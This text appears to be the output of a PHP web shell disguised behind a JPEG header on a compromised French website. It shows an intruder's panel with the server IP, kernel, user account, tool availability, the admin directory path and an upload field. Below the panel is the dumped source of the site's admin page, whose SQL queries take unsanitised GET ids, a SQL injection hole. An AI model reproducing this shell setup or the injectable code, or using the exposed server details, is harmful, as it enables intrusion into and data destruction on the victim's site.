ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if (isset($_GET['online'])) {
$id = $_GET['online'];
$bdd->exec("UPDATE " . $GLOBALS['db_table']['colonne_gauche'] . " SET status = 1 WHERE id = $id");
echo '<script>';
echo 'window.location = "./colonne_G.php"';
echo '</script>';
}
if (isset($_GET['offline'])) {
$id = $_GET['offline'];
$bdd->exec("UPDATE " . $GLOBALS['db_table']['colonne_gauche'] . " SET status = 0 WHERE id = $id");
echo '<script>';
echo 'window.location = "./colonne_G.php"';
echo '</script>';
}
// Suppression de la page.
if (isset($_GET['del']))
{
$id = $_GET['del'];
$bdd->exec("DELETE FROM " . $GLOBALS['db_table']['colonne_gauche'] . " WHERE id = $id");
echo '<script>';
echo 'window.location = "./colonne_G.php"';
echo '</script>';
}
?>
<script type="text/javascript">
$(document).ready(function() {
$("#sortlist").Sortable({
accept: 'dragDrop',
opacity: 0.6,
axis : 'vertically',
onchange : function ( sorted ) {
serial = $.SortSerialize ('sortlist');
// requète Ajax pour l'enregistrement des positions
$.ajax ( {
url : "includes/set_position.php?table=colonne_gauche&field=position",
type : "post",
data : serial.hash
});
}
});
});
</script>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Colonne Gauche</h1>
</div>
</div>
</div>
<div class="row">
<div class="span3">
<ul class="nav nav-tabs nav-stacked">
<li><a href="settings.php">Général</a></li>
<li><a href="set_configuration.php">Configuration</a></li>
<li><a href="colmenu.php">Paramètres du Menu</a></li>
<li class="active"><a href="colonne_G.php">Colonne Gauche</a></li>
<li><a href="colonne_D.php">Colonne Droite</a></li>
<li><a href="./themes_a.php">Thèmes</a></li>
</ul>
</div>
<div class="span9 settings">
Si vous utilisez la colonne gauche et droite évitez de doublonner vos modules !
<br />
Les publicités en bas des colonnes se gèrent dans "Slideshows Publicités".
<br />
Faites glisser vos modules pour déterminer leur ordre d'affichage sur le site. Bloquez les modules inutiles.
<br />
<br />
<table id="sortlist" class="table table-bordered table-striped">
<thead>
<tr>
<th class="span2 center">Modules</th>
<th class="span1 center">Opérations</th>
</tr>
</thead>
<tbody>
<?php
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['colonne_gauche'] . " ORDER BY position");
if ($row = $requete->fetch()) {
do {
?>
<tr class="dragDrop" id="adv_<?php echo $row['id']; ?>" style="cursor: ns-resize;">
<td class="span1 font12 center">
<?php
echo '<br />' . stripcslashes($row['note']) . '';
?>
</td>
<td class="span1 center" style="width: 71px;">
<?php
if($row['status'] == 0)
echo '<a href="./colonne_G.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Activer"></a>';
else
echo '<a href="./colonne_G.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Désactiver"></a>';
?>
</td>
</tr>
<?php
}while ($row = $requete->fetch());
} else {
echo 'Aucun !!!';
}
?>
</tbody>
</table>
</div>
<br /><br /><br />
<br /><br /><br />
<br /><br /><br />
</div>
<?php
include_once('includes/footer.php');
?>